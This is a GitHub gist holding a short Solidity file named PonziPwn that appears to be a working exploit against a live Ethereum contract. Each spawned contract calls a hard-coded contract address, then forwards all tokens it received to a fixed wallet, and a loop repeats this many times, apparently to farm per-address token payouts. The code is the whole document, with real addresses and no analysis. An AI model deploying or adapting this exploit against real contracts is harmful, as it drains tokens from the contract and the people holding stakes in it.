Created
May 19, 2019 16:04
-
-
Save jin10086/e6e40f7005b76e49a721f9e815fa1a01 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.5.1+commit.c8a2cb62.js&optimize=false&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract SccInterface { | |
function transfer(address _to, uint256 _amount) returns(bool success); | |
function balanceOf(address owner) external view returns (uint256); | |
} | |
contract sunContract{ | |
constructor(){ | |
address sccaddress = 0x82070415FEe803f94Ce5617Be1878503e58F0a6a; | |
SccInterface scc = SccInterface(sccaddress); | |
address(0x4B14F1aaa878cCF70d58AEC682592dcD0Fe025BA).call.value(0 ether)(); | |
uint256 b = scc.balanceOf(address(this)); | |
scc.transfer(0xad5723c4f7b4c478e09688f96a7a477b0d1196fd,b); | |
} | |
} | |
contract PonziPwn { | |
function run(uint8 a) public { | |
for (uint8 i = 1;i<a;i++) { | |
new sunContract(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment